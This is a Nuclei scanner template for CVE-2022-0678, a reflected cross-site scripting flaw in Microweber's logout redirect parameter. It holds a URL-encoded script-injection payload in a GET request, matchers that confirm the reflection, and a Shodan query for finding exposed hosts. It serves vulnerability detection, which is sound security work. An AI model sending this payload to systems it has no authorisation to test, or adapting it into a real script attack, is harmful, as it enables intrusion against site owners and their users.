nuclei-templates/cves/2022/CVE-2022-0678.yaml

48 lines
1.4 KiB
YAML

id: CVE-2022-0678
info:
name: Packagist <1.2.11 - Cross-Site Scripting
author: tess
severity: medium
description: |
Packagist prior to 1.2.11 contains a cross-site scripting vulnerability via microweber/microweber. User can escape the meta tag because the user doesn't escape the double-quote in the $redirectUrl parameter when logging out.
reference:
- https://huntr.dev/bounties/d707137a-aace-44c5-b15c-1807035716c0/
- https://twitter.com/CVEnew/status/1495001503249178624?s=20&t=sfABvm7oG39Fd6rG44vQWg
- https://huntr.dev/bounties/d707137a-aace-44c5-b15c-1807035716c0
- https://nvd.nist.gov/vuln/detail/CVE-2022-0678
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-0678
cwe-id: CWE-79
metadata:
shodan-query: http.favicon.hash:780351152
verified: "true"
tags: huntr,cve,cve2022,xss,microweber
requests:
- method: GET
path:
- '{{BaseURL}}/demo/api/logout?redirect_to=/asdf%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
matchers-condition: and
matchers:
- type: word
part: body
words:
- '><script>alert(document.domain)</script>'
- 'content="Microweber"'
condition: and
- type: word
part: header
words:
- text/html
- type: status
status:
- 404
# Enhanced by md on 2022/09/19